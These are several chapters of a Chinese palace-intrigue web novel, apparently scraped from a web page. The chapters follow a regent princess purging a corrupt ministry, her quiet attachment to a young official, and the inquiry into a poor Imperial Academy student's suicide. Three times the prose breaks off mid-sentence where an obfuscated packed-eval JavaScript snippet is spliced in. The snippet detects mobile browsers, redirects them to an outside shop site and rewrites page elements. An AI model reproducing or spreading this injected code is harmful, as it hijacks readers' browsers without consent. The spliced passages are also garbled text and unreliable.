“薛卿如此能干，以后可要多在宫中走动，”萧启忽然看向，“阿姐，你说是不是？” 明玉微微一笑，看向垂着眼的行简，“薛大人文章练达……”薛行简忽然抬起了眼，明玉一愣，下意识便要躲闪，但很快便被她用笑容掩了锅去，“……又与陛下年纪相近，多亲近些，也是好的。” 她状若随意地别开眼，对郑冲笑道：“陛下年少，兼听则明，太傅跟老臣们也要多费费心呐。” 郑冲捻着胡子含笑称是，她心底的紧张也瞬间烟消云散了…… 他的眼睛里没有厌恶……没有怀疑，似乎只为确认她的名字一般，平静而坦然。 她心底悬着的那块石头，遽然沉入了大海。 一切都回到了原点。 明玉忽略掉石头空出来后的那点空落落的遗憾，将杯里的茶水一饮而尽。 转身上床，明天，又会是和过去的十六年一样的一天。 *** 四月芒种，檐下的燕子成双离去。 宣室殿内，黑压压跪了两列人。 而在这两列人上方，明玉一身织金绛红大袖衫，高坐在殿上。 手中一盏青瓷杯，额间金凤衔珠，面上还是一派漫不经心，却压得下面几位老臣都不敢抬头。 “何尚书这是做什么？韩侍郎不过是在朝会上弹劾了何吉一人，怎么尚书就把整个户部都搬到宣室来了？” 何应臻叹了口气，似乎深以为然，“殿下说的是，原本也就是小孩不懂事，韩侍郎来跟老臣讲一声便是，非要闹到朝上，倒惹得殿下与陛下烦心，故而臣特意携户部上下前来告罪！” 他说到后面几乎要痛哭流涕，身后的官员齐齐喊道：“臣等有罪！” 明玉侧了下头，不慌不忙的将茶盏递给寒碧，右臂撑在圈椅的扶手上，手背托腮。 “可不是，何大人家一个不懂事的小孩，就敢贩卖朝政信息，偷换死囚。若是再长几岁，是不是就要连这大明宫也一起换了？” “殿下慎言，臣等万死不敢啊！”何应臻猛地磕了个头，“殿下，那些都不过是下头的贱民小卒打着何吉的旗号，肆意妄为——老臣管束不周，是臣之罪！臣也老了，膝下唯有一子，请殿下看在臣也曾辅佐先帝多年，何吉又是年轻识浅被人利用，饶恕他吧！” “我也很想饶他。”明玉似煞有介事的点头，走到他面前，将袖中的折子递到他眼前。 “本宫也念着何大人先帝老臣的情分呢，这是……”她脸上现出万般为难的样子。 奏折落在何应臻面前，“啪”地打开，几行行云流水的墨字立刻落在何应臻眼里。 何应臻抖着手捧起奏折，后背瞬间湿了一层冷汗。 明玉转过身，仿佛是在给他最后的情面。 那折子上，字字句句，桩桩件件，囊括着他何家上上下下，条条罪状，无一不细。 她随手接过寒碧递来的茶，果然，在她饮到第二口时，身后陡然传来了一道苍老的声音—— “臣老了，”他又给她磕了个头，“下个月便是臣老母的周年祭，臣会和几位弟弟一起回乡祭祀，为家母尽孝……” 明玉浮了浮茶碗，并不急着接话。 “但户部这些年来兢兢业业，黄河水患，山东大旱，荆楚洪灾，每一次的钱粮筹措都没有出过半点差池……” 薛行简表情不变，就听见旁边的萧启嘀咕了一声：“真是不要脸……”也不看看他们贪了多少…… 明玉却似乎颇为赞同的点头，“何大人这几年确实辛苦了，尚书的人选我也早和陛下商量过，”她回头微笑着看了萧启一眼，萧启回以官方微笑。 明玉继续道：“也是何大人的门生，荆楚洪灾就是他带人解决的。” 何应臻悚然一惊。 明玉目光微凉，何家盘踞户部多年，临了竟还妄想霸占尚书的位置。 “宣张大人入殿。” 何应臻顿时跌坐在地，张……张洛陵…… 张洛陵不是一个人来的。 他身后还跟着三个中年官员，何应臻眼睛一闭，知道大势已去，萧明玉抽掉了他最后一张底牌…… 何家连架空新任尚书的能力都没有了…… 盛宴已散，新的演员要登场了…… 明玉叹了一声，转身将年迈的何应臻扶起，“老尚书宽心，何吉虽已被大理寺带走，好在不是死罪，赎出来便是了。” 何应臻却抖得更厉害了，那意思再明白不过，是要他们把这些年贪的钱也吐出来，吐多少？吐到她满意为止…… 与之交换的，是她会留住他们的性命，保住他们何家的清名…… 老尚书仿佛一下子老了十岁，被身后的何家人扶着，颤巍巍的走出宣室殿。 薛行简的目光落回明玉身上，弹劾的折子早如雪花一般送到了皇帝面前，何吉之罪，万死不为过，但死一个何吉，不过空出一个中书省的末等职位…… 而她要的，是何家嘴里的整个户部…… 不过，他眼神一晃，却见旁边全程跪着充当背景板的韩俊臣终于起身，他站在明玉身旁，明玉扭头瞪他，“你那都写了些什么？逛青楼逛出一身花柳都值得写！” 韩俊臣微微一揖，“字数多了唬人，何尚书也没心情看到后面了。” 萧启又塞了几颗花生米，侧头对薛行简嘀咕，“看到没，那就是艳冠本朝的韩侍郎，曾是阿姐的家臣。” “户部尚书、侍郎、主事变动，你尽快协调好，”明玉转身走回殿上，“忙完这一阵，好好陪陪莬茵。昨儿南海刚进贡了套珍珠的头面，你带回去给她吧。” 韩俊臣跟在她身后，“是。” 明玉回头瞥他，“还不走，是想跟陛下一起吃饭吗？” “是，臣这就告退。” 薛行简起身，“臣也……” “天色不早了，”明玉却忽然道，“薛大人不如留下用膳吧。” 行简一愣，萧启接着道：“老师一起吧，小德子，让御膳房多加两个菜。” 韩俊臣却仿佛根本没听见这等差别待遇般，头也不回地退了出去。 行简只得低下头，“是，臣领命。” *** 宫人们很快便将膳食摆放妥当。。 薛行简挨着萧启坐下，明玉正坐在他对面。 他想起她今天看见皇帝带着他一块来宣室时眼中转瞬即逝的惊讶，但不过片刻，她便收起了所有的情绪。 在简单对他致意后，转而对萧启道：“还记得我跟你说过的话吗？” 萧启颔首，“多听多看少说话。” 明玉满意地点点头。 如今，萧启开口了。 “阿姐既然握着证据，为何不直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956365|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接交给大理寺和刑部？法度公正，才可令天下顺服，不是吗？” 明玉点头，“提交给大理寺，然后呢？” “当然是刑部提审，三司结案。” “那户部呢？” “按照程序让吏部换人。” “换谁？是换王家还是换李家？” “就换阿姐今天举荐的人不可以吗？” 明玉深深看他一眼，“你也不是第一天上朝了，不知道满朝文官比东市场卖菜的婆姨们还会打嘴仗吗？偌大的户部，谁都想要来分一杯羹——而打官司，一向是除女人生孩子外最耗时耗力的事情，还要平添许多变故。” 她给他夹了一块藕合，“有那个精力，发展一下农业，推动一下经济不好吗？” “可是，”萧启皱眉，“这样的话，阿姐不怕何家卷土重来吗？” 明玉笑出声，“你年纪轻轻的怎么老想着把事做绝呢？” 萧启眉头未展，明玉微微一笑，“先生觉得呢？” 行简一愣，本能的抬头，她却并没有看他。 “何吉虽然面白心黑，何家却也有资质不错的子孙，”他行简敛眉道，，“殿下给他们留后路，也是为朝廷揽才。何家不是朝廷的仇人，没有赶尽杀绝的必要，贤时用，不贤便黜。既能令朝臣保持警醒，也让他们不忘朝廷仁德。” 明玉唇边笑意加深，看向萧启，“你这声老师叫的可不亏。” 行简心里咯噔一声，总觉得她这句是话里有话…… 这就是她留他用膳的目的吗？ 恰在此时，安德的声音从身后传来：“主子爷，殿下，何太妃来了。” 何赛华人未到，声先至。 “看我赶的，真不是时候！” 只见一个深红宫装，浑身上下金碧辉煌的中年女子在侍女们的拥护下从帘外走入。 三人齐齐起身。 “太妃怎么来了？”明玉微笑着扶住她递过来的手。 何赛华对萧启点点头，“陛下又长高了许多。” “太妃有礼。” 行简对何赛华行礼，何赛华却似乎对他并没有多少兴趣，只是点点头，便再度将目光放到明玉身上。 她拉着明玉的手坐下，“几日不见，明玉怎么瘦了这许多？” 明玉笑而不语。 何赛华接着道：“也是我的不是，光忙着后宫的事，竟没顾上家里，白给你和陛下添了这许多麻烦。” 萧启埋头吃饭，行简垂眸不语。 何太妃再接再厉：“哀家晓得你跟驸马鹣鲽情深，但毕竟斯人已逝，你身边也该有个知冷知热的人儿。” 行简愣了一下，市井流传的那些话，在这一刻才忽然都像真的了一样…… 公主府三千面首，长公主醉心声色夜夜笙歌…… “哀家堂弟前不久刚从塞北带回几个不错的少年，不如我差人送到你府上，你过个眼，挑两个称心的。” 明玉笑容谦和，“那就多谢太妃好意了。” “诶，”何赛华拍拍她的手，“那我便不扰你们用膳了，下午我就让人把人给你送去。” 何赛华笑眯眯地起身离开。 “太妃慢走。” 帘子落下，人已走远，萧启抬起头：“姐。” 明玉瞥他。 萧启一脸郑重道：“你身边是好几年都没人了，不如我让安德去内务府挑几个给你？” “不如，我请何太妃把她侄女儿带进宫伴驾。” 萧启脖子一梗，默默夹了一筷韭菜给明玉。 明玉没有理他，目光却不受控制地扫向薛行简。 他垂着头，仿佛是最谦顺的臣子，此时此刻，更让人看不出半点心绪。 明玉一时有些欣慰又有些难堪。 “寒碧，让翠微把太妃的人安顿好。” “是。” 薛行简捏着匙柄的手一顿，一种微妙的感情划过心底，仿若惊鸿掠过湖面，荡起一阵涟漪。 此后，她都没有再向他多看一眼，多说一句。 可他心里却忽然如同被一阵温暖的潮水挤满了一般，无人可知，却甘之如饴。 用罢膳，行简告辞出宫，独自一人向宫门外走去。 面上还是一如既往的冷淡，脚下却是压不住的轻快。 那颗一直被他压在心底的种子，突然破土了。 8. 与其这样放不下， 明玉有些懊恼的靠在出宫的马车里。 她为什么要说那句话…… 好像专门在解释一般…… 难言的羞耻不停在心底盘旋，明玉掩面，她在害怕什么？害怕他会因此而轻视她吗？ 她在心底嘲笑自己，那些流言，满京皆知，他又怎么可能不知道？ 更何况，她问心无愧。 可莫名地，下嫁全京城最会斗鸡走狗的陈渭时，她也不曾惧怕邻里宗亲的轻视，替醉仙居的小倌儿赎身，在府里养下数十个男宠的时候，也不曾怕世人轻视，偏偏今天…… 明明都结束了，不是吗…… 回到府中，明玉遣退婢女，将自己单独关在祠堂。 房门合上的一刹那，仿佛所有的尘俗羁绊也都被关在了门外。 屋内漆黑一片，明玉却觉得直到此刻，心底的恐惧才彻底散去。 她在黑暗中轻车熟路地香案前的垫子上坐下。 香案上悬挂的画像在一片漆黑中根本看不分明。 明玉却丝毫不在意，“他可比你强多了……” 她的声音里带了丝不易察觉的笑意，“如果是十三年前，或许我真的会有勇气跟他坦白一切……” *** 寒碧一步三回头，直到走到假山旁的凉亭才终于停下。 翠微道：“你也就仗着咱们府里人员简单，否则你这心不守神的样子，明儿公主府的谣言就要传得满京里都是了。” 寒碧不以为意，“这是哪儿？这是咱们的家，殿下在外面苦苦撑着，在这里还要演戏给谁看吗？” 她声音里满是担忧：“殿下上一次把自己关在祠堂还是沈小姐去世的时候……” 翠微沉默不语。 寒碧低喃：“与其心里这样放不下，结一段露水姻缘也是好的啊……” 翠微看她一眼，却罕见地没有反驳。 *** 城西的一座简单却不显寒酸的青瓦白墙的院子里，薛行简把人牙子黄大娘请进门。 简单寒暄过后，才开始打量跟在她身后的妇人。 看年纪在三十上下，一身粗布麻衣，面色微黄，搓手站在黄大娘身后，看向他的目光带着些初次进城般的怯意。 黄大娘满脸堆笑的指着身后的妇人，“这是赵十三娘。薛相公托奴家找个能烧火干杂活的妇人，好照顾老人，她啊，刚跟乡下的赌鬼老公和离，来城里讨口饭吃，人品，相貌，那都是这批人里顶好的。” “本地人？” 十三娘点点头：“京城南边邢村的。” “家里还有什么人吗？” “就我一个，没人了。” “会做些什么菜？” “家常的都可以，村里也常有南边来的人借住，所以也能做南边的菜。” 他颔首，心里却不由想到，那么巧吗？ “现在家里只我一个，我对吃食也没有什么讲究，等日后老人来了，你一切照她的喜好做便是。” 黄大娘闻言喜笑颜开，她就喜欢这种单身的小相公！爽快好说话！ 又简单客套了几句，黄大娘揣着钱高高兴兴的出门了。 薛行简指给十三娘一间房间，让她自行安置。 十三娘一离开，一旁一直安静嗑瓜子的周易吐出嘴里的瓜子皮，“听说长公主兵不血刃，便以迅雷之势清洗了整个户部。” 行简点了点头，“嗯。” “听说何吉在牢里断了一条腿，现在还躺在床上。” 行简依旧不动声色，心底却微微一动，她果然什么都想到了…… 周易最应付不来他这种锯嘴的葫芦，头疼道：“你倒是说说，怎么一个何吉贪赃枉法，户部三巨头却齐齐告老还乡了？” 薛行简将刚刚煮好的茶从小炉上拿起，“殿下抛砖引玉，甩出了户部官员行为不检的证据。” 一直仿佛神游天外的陈碌突然不冷不热道：“这样遮遮掩掩，不过是虚张声势的唬人，以官易命，以钱减刑，置律法于何地！” 行简看他一眼，“虚张声势也要确有其事才能唬得住两朝元老，何家不倒，大理寺也未必会判他死罪，十年后还不知道在哪里逍遥。广东去年遭了雪灾，何家吐出的这笔钱可以安置三万流民。” “将证据提交给刑部，有冤申冤，不偏私却也不得趁机报复，而不是将万民之心全都系于一人之心，以上位者喜好偏行独断！”陈碌愈说愈急，到后面仿佛下巴都要掉下冰碴子来。 见行简不语，陈碌一拍桌子，气势汹汹道：“怎么不说了？” 周易吓了一跳，却再看了眼行简的脸色后没有擅自开口。 薛行简若有所思地看着他，“你说的也没错，但有些事不上秤没有二两重，上了秤只怕两千斤也打不住。独木不成林，很多事只有何家是做不成的，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956366|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦闹起来，朝上又是一片腥风血雨，最后苦的，还是百姓，消耗的，是我大周的国运。 “你说的是最理想的处理方法，或许终有一天我们能靠律法评判所有的公正与不公，但现在还做不到……” 他话音落下，和煦的日光融在风里，几人不约而同皆是一默，这沉默中掺杂着几分沉重的消极。 “哎，行了行了，你们俩说得我头都大了。”周易作势用扇子敲了敲脑袋，“总之，何吉那个王八现在残了，活着受罪可比一刀拉倒来得大快人心！新上任的张尚书我记得是十年前的探花郎，又治理过荆楚洪灾，这能力肯定没的说！” 说着，他又推了陈碌一把，“你不是说要来教怀瑾骑马吗？ 陈碌顿时有些羞赧地挠了挠头。 周易心底了然，又看向行简，“话说回来，怀瑾你能骑马吗？” 行简一怔，面上竟是少见的空白。 周易立刻解释道：“圣祖皇帝马上得天下，世家子弟自幼熟习六艺，长公主虽是女流，骑射当年也是京城一流，怀瑾你日后跟他们相交，大家免不了要在马场会一会。” 行简眉梢一动，“当年的京城三骑？” “没错，京城三骑，一是长公主殿下，二是现骠骑将军纪廷和，三就是兵部尚书已故的夫人沈留湘。” *** 京郊城外，周家的墓地里，墓碑连绵，明玉站在一座新坟前，将上山时采的一束兰花放在碑前。 “留湘，好久不见了。” 她席地而坐，微微笑道，“抱歉，今天没有带酒。 “周亚臣娶了你堂妹，你那一双儿女都被照顾的很好。” 清风拂动她的发丝，“给七夕写信的时候顺便也给你写了一封，想着还是当面烧给你比较好。” 说着，她将藏在袖中的信连同纸钱一起丢进火盆。 炽烈的火苗迅速攀上浅色的笺纸，顷刻间便化为黑灰。 她心里却突然又空了一块，执笔落墨时得到的满足突然都成了空落落一片。 白色的发带被卷到面前挡住了眼睛，明玉低声道：“昨天我梦见以前咱们一起骑马的时候了……我心里总感觉不好，就好像有什么事情要发生了了一样……” *** 熙元十年，六月初三，一夜之间满街贴满布告， “朱门鹰犬贵，寒窑骨肉贱。流星荃不察，我血荐轩辕” 9. 太学 左右两位拾遗从官衙快步走出，一起向宫城走去。 二人一路无话，面上皆是沉静的肃然。 宫门处早有内监等在那里着，远远瞧见两位言官，彷如行走的黑白无常。 刘公公低头上前，默默领着二人往宣室走去。 宫中一切如常，却肉眼可见的，在所有的內侍宫女之间弥漫着一股紧张的情绪。 所有人都在无形中加快了脚步，放轻了呼吸。 太学的祠堂前吊死了学生，消息却被人压了下来。 而在他吊死的地方，地砖上是用鲜血写就的二十个字。 “朱门鹰犬贵，寒窑骨肉贱。流星荃不察，我血荐轩辕。” 三天后太学的几个学生连夜把血书的内容贴遍京城的大街小巷，民怨顿起，天阙震动。 长公主一怒之下下令彻查。 宣室外的木槿花不知何时开了，炽红的花朵好似一簇簇燃烧的火焰，在这朱红的高墙内也不显分毫逊色。 行简与钱雨站在殿外等候通禀。 门下省掌封驳、谏言，按理说这件事无论如何也轮不到他们来管…… 但是，长公主偏偏点名要兰台协理…… 宫娥打帘出来，请二人进去。 二人颔首进去，里面只有皇帝一人。 萧启似乎很高兴见到他们，“魏大人向朕举荐了你们，朕也觉得该多给年轻人机会。” 此言一出，钱雨本能地低了头。 听说，皇帝一大清早就在朝会上发了脾气，满宫上下都知道这是个烫手山芋—— 被点名的兰台，几位长官相互推诿，结果竟推了他们两个八品的出来挡事儿。 萧启沉声道：“事情闹到这一步，朕要给天下人一个交待。兰台向来清流为众，以七贤为楷模，朕相信，你们会给朕，还有天下士林一个圆满的交待。” 这种官话从尚未弱冠的皇帝口中讲出，总有种诡异的滑稽和压迫感。 二人颔首应是。 出了宣室，钱雨的脚步越来越重，此事本是大理寺主审，皇帝却特意把他们两位协理的叫到跟前，要他们两个八品小官给天下一个交待…… 他若有所思地瞥了眼从头到尾都面无表情的薛行简，八品的左拾遗对新科状元来说算不得恩重，天子侍读兼宫中行走倒确实让不少人眼红了一阵，但到底是寒门出身…… 至于他自己……在右拾遗这个位置上待了大半辈子了，年近四十，能力有限，也早歇了往上爬的心。 看来皇帝这话，是说给他身旁的这位后生听的…… 想清楚这一点，他心底一松，被皇帝传唤的惊恐彻底散去。 在他收回目光后，薛行简瞥了他一眼。 显然，对方已经有了底。 行简收回目光，眼底却是鲜见的凝重。 不远处，国子监门外，大理寺卿正严阵以待，等在那里。 只恐怕，这个底，未必兜得住他们所有人。 *** 大理寺卿江巍今年五十有七，是一个上有老下有小的长须胖子。 他揣着手打量了二人一眼，“殿下刚走，国子监祭酒已经告病回家了。” 见二人都没什么反应，江巍有些无趣的转身。 “死的是太学的学生，十五岁。” 一旁的司业立刻赔笑道：“少年英才，我们也都很惋惜。又体谅他家中贫寒，所以答应帮忙安置葬礼，还给他们家一笔抚恤，也是朝廷仁义。哪知道他们家人心不足蛇吞象，前几日突然变卦闹着不肯下葬。” 岂料，等他说完，却没有一个人出言附和。 司业面色不变，接着道：“也不知道是什么人教的，竟然狮子大开口要三千两，这不，给我们祭酒都给气病了。” 而然，依旧没有人接他的话。 司业撇了撇嘴，干脆不在言语。 六月的阳光燥热而晃眼，薛行简默默跟在二人身后。 国子监的事闹到这一步交给大理寺是理所当然，可偏偏明玉却点了兰台协理，又特意亲来把祭酒调走…… 她没有申斥任何人，甚至给所有人都留了面子，却也明晃晃的警告所有人，这件事不会那么简单就过去…… 手段雷霆，却依旧可见对弱者的温柔。 行简的心一软，那个从他中举起便流传在无数人口中的长公主形象，从刻板的强权者又更多了分真实的温暖。 *** 荷风四面亭里，悬在亭边的浅色薄纱随风扬起，宛如腰肢柔软的舞女。 亭内，明玉与韩俊臣相对对弈。 “殿下很喜欢兰台的那位左拾遗？” 明玉落下一子，“你不喜欢他？” “臣从不夺人所爱。” 明玉没理他的调侃，“你觉得他怎么样？” “锋芒初露，城府颇深。” 明玉笑而不语。 韩俊臣突然道：“看来殿下真的很喜欢他。” 明玉没搭理他，甚至有些百无聊赖的看向不远处，藕荷间跃起的锦鲤。 韩俊臣立刻会意，他识趣道：“卷宗臣都整理好了，就算殿下想换掉整个礼部，臣也有足够的人能顶上。” 锦鲤反复落入池中，溅起层层涟漪。 明玉收回视线，“不急。” 她看着纵横的棋面，“俊臣，该你了。” *** 太学的学生大多出身京都世家，少部分也是富庶的平民之家，只有零星的学生出身寒门，家境贫穷。 原本，这些“零星”，是连太学门口的石狮都没资格摸两下的。 偏偏前几年，长公主颁布新令，破格录取寒门学生中的佼佼者，不仅准他们入太学同世家子弟一同读书，还束脩全免，食住全包。 这次死的学生，便来自豫州的贫农之家。 江巍捏着胡子眯着眼看底下黑压压的年轻学生，这些孩子的叔伯公爹他不是认识就是认识的人认识。 那一张张年轻的脸上，有愤怒，不解，坚韧，还有毫不在乎。 江巍又捏了一会儿胡子，左右两位谏议都沉默地站在他身后。 底下仍然是一片凝结的沉默，仿佛暴风雨前的沉寂。 江巍咳了两声，决定投石试水。 下面霍地站起来一个瘦高的学生，“大人，布告是我贴的，若论罪，我甘愿受罚，但在这之前，我有一个问题希望大人能为我解惑。” 他声音洪亮，在安静的室内迅速搅起所有的波涛。 司业双目一瞪，“放肆！这哪有——” 江巍摆手，“你说。” “孔圣人讲‘有教无类’，何解？” “圣人为师，因材施教，人人可教。” “因材施教，是因人的姓氏还是身家多少？” “王佑斌！你不要欺人太甚！” 只见场下又立起一个青年，他双颊通红，指着王佑斌怒道：“你少在这里含沙射影，张尔宁是他自己没能耐！吊死了还偏要寻所有的人晦气！你以为我不知道你心里想什么吗？哗众取宠也要掂量掂量自己几斤几两重，看你那门下省跑腿的爹兜不兜得住！” 王佑斌脸色顿时涨红，眼底腾地燃起一片怒火，“怎么，在你们眼里人命不过几斤几两而已吗？！” 那青年冷笑一声，“你是怎么进的太学，自己心里没点儿数吗？陛下恩赐，赐尔等入太学的机遇，便应战战兢兢俯首以对，如此搅乱治学，忘恩负义，小人行径！” “天地不仁，以万物为刍狗！真正搅乱治学的人恰是尔等仰仗门第欺凌百姓的纨绔！” “你骂谁！” “骂的就是你！” 台下瞬间炸开了锅，原本是两人对骂却在不知不觉中升级成群架互殴。 学生们青色的衣袍翻滚成怒浪，一片乌泱泱的喊骂声中，一众学生滚打成一团。 江巍扯着嗓子喊了两声，却毫无作用。 司业见势便要去官衙叫人，薛行简立刻拦住了他。 司业一扭头，先看见了他八品的服色，张嘴便要骂人。 却见薛行简快速地对江巍说了什么，后者点点头，立刻随从一路小跑着夺门而出。 司业立刻了然，不由赞许地赏了这位八品谏议一眼，倒是省得他跑这趟了。 还不等他把这份赞许在眼底捂热，忽然一声巨响从头顶炸开。 “咚——” 司业猛一哆嗦。 “咚——”浑厚的钟声几乎令天地震颤。 连台下厮打的众人都不由自主停下了动作。 那是国子监每日早课的钟声。 就是这千钧一发的停顿，江巍迅速抄出袖中的惊堂木，狠狠敲在案板上。 场下顿时一静。 江巍厉声道：“讲经治学之地，如此厮打，也不嫌辱没斯文！看清楚了，站在我身后的左拾遗——今年的新科状元，圣上御赐宫中行走，他也没有什么显赫的背景，圣上贤明，揽天下英才，从来不问英雄出处！” “可谁都知道这几个月榜眼的门槛几乎被踏烂，状元门前却乏人问津，”王佑斌嗤笑一声，“大人说的是面上的礼，可人心里的秤却是偏的！” “大人，”薛行简拱手道，“可否容下官说两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956367|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句？” 江巍严厉的目光落到他身上，一番审视后，微微点了点头。 薛行简从台上走下，正对上王佑斌的眼睛。 “你说人心里的秤是偏的，但你连夜贴下布告，却恰是因为你还相信人心里的那杆秤是平的，不是吗？” 王佑斌冷笑一声。 行简面色不变，“你要替死去的人讨公道，为此你不畏罪罚，不惜己身，但你却把个人的骄傲放在高处！” 他面色骤变，几乎声色俱厉—— “人命关天！” 所有的学生都是面色一变，这位看起来弱不禁风的言官忽然如同一把出鞘的利剑，。 王佑斌脸色一白。 薛行简厉声道：“大明宫震怒，京都哗然，我们奉命来此，站在这里想要知道的，是死去的那个学生他生前可有冤屈，死后可有受到不公！不是来看你拐弯抹角的搞这么一出大戏的！” 他愤然甩袖，眼底的怒火浮出一片泣血的惋惜。 “‘流星荃不察，我血荐轩辕’死谏的人是你的同窗，他的血已经干了，还活着的你，不应该替他完成剩下的事吗？” *** 湖风微凉，翠微穿过层层掩映的荷花，撑船而来。 湖央的荷风四面亭内，明玉接过翠微递来的文卷，上面清清楚楚地罗列着整个事情的经过，所有参与人的身家底细。 良久，明玉起身，微凉的风扑在她脸上。 她望着远方，声音里藏着难以掩饰的沉痛，“俊臣，那个孩子才十五岁。” 韩俊臣起身。 明玉将袖中的纸举到他眼前，韩俊臣抬手接过。 远处的荷叶几乎连成一条线，在风浪中翻滚成此起彼伏的暗绿。 “究竟是什么样的遭遇可以逼一个十五岁的孩子走上这条路，平民的境遇已经这么糟了吗？我们的言路已经堵塞至此了吗？” 韩俊臣将信纸重新折好，“少年热血，有时候宁愿选轰动热烈的那条路，也不愿选那条凄凄哀哀的路。前者或可名留青史博得美名，后者却大多苟活此生而已。” 明玉仰了下头，以死博名，已经成为寒门学生唯一的出路了吗？ 韩俊臣声音冷静：“太学风气不正早非一日，那个学生说人心里的秤偏了。但人心里的秤本来就是偏的，人不为己天诛地灭。所以才需要律法，去摆正那颗懦弱的心。” 明玉没有接话。 韩俊臣话锋一转—— “不过，殿下欣赏的这位左拾遗，倒是太傅的最佳人选。” 明玉愣了一下，“这点……我早就知道了。” 无论是在观槿楼，还是刚刚在太学，他都巧妙的平衡了朝廷与学生们的关系。 他始终坚持要解决事情，而不是和稀泥。 可无论他如何声色俱厉，却都巧妙地没有戳穿那个学生心底想要博名的微妙欲望。 ——他始终对所有苦读报国的学生都报以师长的温柔。 韩俊臣深深地看了她一眼，“如果放到十六年前，殿下还会选公子吗？” *** 日已黄昏，薄暮的影子映在朱红的高墙上，薛行简的脸上也被映下一片微暗的红色。 所有的笔录都已经送回大理寺。 那叫王佑斌的学生冷静下来后，几乎不用他们问便将事情从头到尾娓娓道来，就好像已经演练过无数次一样。 他微不可察的一叹，眼底翻起压制许久的疲惫。 祠堂前的血迹早已不见，据说因为血迹无论如何也无法抹净，国子监干脆让人掀了地砖重铺了一层。 白日就要过去，黑夜降临后便又是黎明，可那个孩子却再也看不到天亮了。 江巍临走前深深看了他一眼，却一句话都没有说。 钱雨更是从头到尾沉默寡言，行简从宣室出来，正碰上进宫探望姑母的周易。 现在，周易喝多了水走去方便，他便站在红墙外出神。 忽然，墙的另一边传来细细的私语声，依稀是两个宫女在闲话。 他没有听人墙角的喜好，正要转身离开，却突然在那私语声中听到了她的名字。 他脚步一顿。 “我劝你还是不要再喜欢那个状元郎了，否则得罪了人，怎么死的都不知道！” 另一个低声惊呼：“怎么会！” “看我跟你好一场，这话你可别跟别人说——原本陛下是要授他左谏议的，正五品呢！结果愣是被殿下给否了！” 薛行简眸光一厉。 夕阳落下最后一抹余晖，夏夜微寒的风忽然吹进了他宽大的袍角。 10. 夜会 周易从墙后走出来，“唉，这宫里的茶真不是好喝的。” 薛行简回神。 “快走吧，”他若无其事的回头，“再晚宫门就要下钥了。” 周易点了点头，快步赶上他。 行简压下心底翻涌的情绪，平静道：“难得见你进宫。” “可别提了，”周易一拍脑袋，“从去年秋闱我娘就憋着这个劲呢，今年春闱一放榜，立刻就开始招罗给我找媳妇儿，还托宫里的姑母帮着给相看。” “定了？” “早着呢。” 两人走出大明宫，高大的宫门在他们身后缓缓关闭。 周易叹了口气，“太学的事有结果了？” “嗯，”行简低低应了声，“过程大约是清楚了，怎么处置就要看宫里的意思了。” 死去的那个少年，名叫南慕，孤身一人从豫州来京求学。他没有超越常人的聪明，却足够努力，十年寒窗，才考进太学。 家中父母都是普通的佃户，唯一的姐姐嫁在青州。 太学中的学生瞧不起这个乡野之地来的土包子，连同为寒门的靴子，也觉得他都是钻了前几年政策的空子，才考入太学，故而也多加轻视。 讽刺的是，这些寒门的学子，自觉受父母荫庇保入太学的豪门贵族是理所当然，却对朝廷特批扶持的贫农学子轻视嘲笑。 周易皱眉，“是那年豫州大旱，长公主特批，破格录取豫州贫寒农家的学生入太学？” 行简点头，周易嗤笑一声，“就为这个？每年勋贵家不知有多少受家族蒙阴入太学的，比起他们，那孩子至少通过太学考试了吧，他们是哪来的脸来看不起他！” “很奇怪吧。” 行简抬起头头，头顶的槐树枝繁叶茂，几可蔽天。 “太学大多学生也瞧不上靠家族荣荫入学的学生，可无论心里多么清高，面上总不好过不去。但南慕不一样，他没有背景，却以比他们低的标准被录取，他们瞧不上他，更可以无所顾忌的侮辱他。” 周易喉头一涩，忽然有一股沉重的无力感拽住了他。 他甚至问不出，难道太学的先生师长也都对此视而不见吗？ 行简颔首，这槐树下的老根，又该是如何盘根错节，绵延千里。 南慕在京城没有家，连同学们凑钱买的棺木，也只能停在城外的义庄。 今天，他不止一次经过太学的祠堂，高悬的匾额，庄严的屋宇，深红的漆柱，如此朗朗乾坤，实在令人难以想象，就这这里，一个十五岁的孩子，结束了自己的生命。 当初离开豫州时，他曾抱又多大的希望？深夜了结自己的性命时，又该有多么绝望？ 太阳坠入西天，天色暗去，又一个夜幕降临了。 *** 烛火跃动，明玉独自坐在案后，案上摊着大理寺连夜整理的卷宗。 “朱门鹰犬贵，寒窑骨肉贱。流星荃不察，我血荐轩辕” 一阵空前的疲惫忽然袭击了她，执政十四年，她第一次开始怀疑自己…… 